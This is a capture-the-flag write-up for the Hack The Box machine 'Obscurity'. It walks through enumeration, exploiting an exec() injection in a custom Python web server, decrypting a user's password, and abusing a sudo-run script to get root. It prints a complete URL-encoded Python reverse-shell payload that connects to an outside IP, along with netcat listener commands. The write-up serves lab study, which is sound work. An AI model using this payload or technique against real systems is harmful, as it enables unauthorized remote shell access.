- Name: Obscurity
- Profile: www.hackthebox.eu
- Difficulty: Medium
- OS: Linux
- Points: 30
- Network Enumeration: nmap 22, 8080
- Web application discovery: hints
- Web application enumeration:
- Web application exploitation: RCE
- System Elevation of Privilege: www-data to robert:
- System Elevation of Privilege: robert to root:
TL;DR: nmap 22, 8080
A very quick and lazy nmap scan shows 2 open services:
$ sudo nmap 10.10.10.168
Web application discovery#
Let's take a look at the webserver.
On the main page there are several hints.
On the Our Software section we can read the following:
Our suite of custom software currently includes:
A custom written web server Currently resolving minor stability issues; server will restart if it hangs for 30 seconds
An unbreakable encryption algorithm
A more secure replacement to SSH
And on the Development section we can read:
Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory
Web application enumeration#
Let's try to find the secret development directory:
$ dirsearch -u http://10.10.10.168:8080/ -e py -w ~/CTF/tools/SecLists/Discovery/Web-Content/raft-large-directories.txt
In fact it was requiring guessing, because they hinted it was a custom web server you have to think it is vulnerable to vulnerabilities real web server are not vulnerable to.
The path was
/../SuperSecureServer.py. I don't understand why so much people
are saying on the forum that this step is nice... In real life a web application
can be vulnerable to path traversal but not the web server itself.
At least the HTB skill radar was saying it requires a lot of enumeration and is very CTF-style so we should be surprised it is not realistic. Usually I don't like guessy or unrealistic steps like this one.
However it was possible to find it via another weird way.
/XXXX/ subdirectory exists the custom web server won't return a HTTP code
that will allow us to find the folder exists but if we request an existing page
/XXXX/validpage.txt of course we will get a 200.
So as we know the name of the page
SuperSecureServer.py but not the directory
it was possible to use wfuzz to fuzz the directory name like that:
$ wfuzz -w ~/dict.txt http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
And find either
/../ (path traversal) or
/develop/ (just enumeration).
So finally there was a way to find it without guessing.
Web application exploitation#
So here is the source code of the script.
Immediately is understood there was a vulnerability in those 3 lines:
path = urllib.parse.unquote(path)
A format string passed into an exec.
So it seems we will be able to execute some commands for example to download and execute a reverse shell.
To try it out I added those two lines and started the server locally.
serv = Server('127.0.0.1', 7777)
Then I started a reverse shell listener with
nc -nlp 9999 and URL encoded the
key characters of the reverse shell payload so it can fit in the URL.
As I worked I tried immediately on the box.
GET /?tata=a%27;%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%222.214.171.124%22,9999));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%20a=%20%27 HTTP/1.1
System Elevation of Privilege: www-data to robert#
I started enumerating the home directories and saw this:
$ cd /home/robert/
We can see there is script named
SuperSecureCrypt.py (source code).
out.txt seems to be encrypted with the script,
check.txt seems to be the
corresponding clear text and
passwordreminder.txt is also encrypted.
The encrypt and decrypt functions seems to be XOR-like functions so it is
out.txt x check.txt = key.
To do that with the CLI interface we provide
out.txt as the input and
check.txt as the key so the resulting "encrypted" file gives us in fact the
clear text key
Doing the same with the encrypted password and the real key we can find the clear text of the password.
$ python SuperSecureCrypt.py -i out.txt -o out2.txt -k "$(cat check.txt)" -d
Robert password is
So now we can connect to ssh as robert.
$ ssh -v firstname.lastname@example.org
System Elevation of Privilege: robert to root#
BetterSSH.py command execution
It seems we can run a python script as root.
robert@obscure:~$ sudo -l
We can replace the script executed as root by a python reverse shell and execute it.
robert@obscure:~$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
➜ nc -nlp 8888
Else the normal way would have been to use a command injection in
cmd = ['sudo', '-u', session['user']].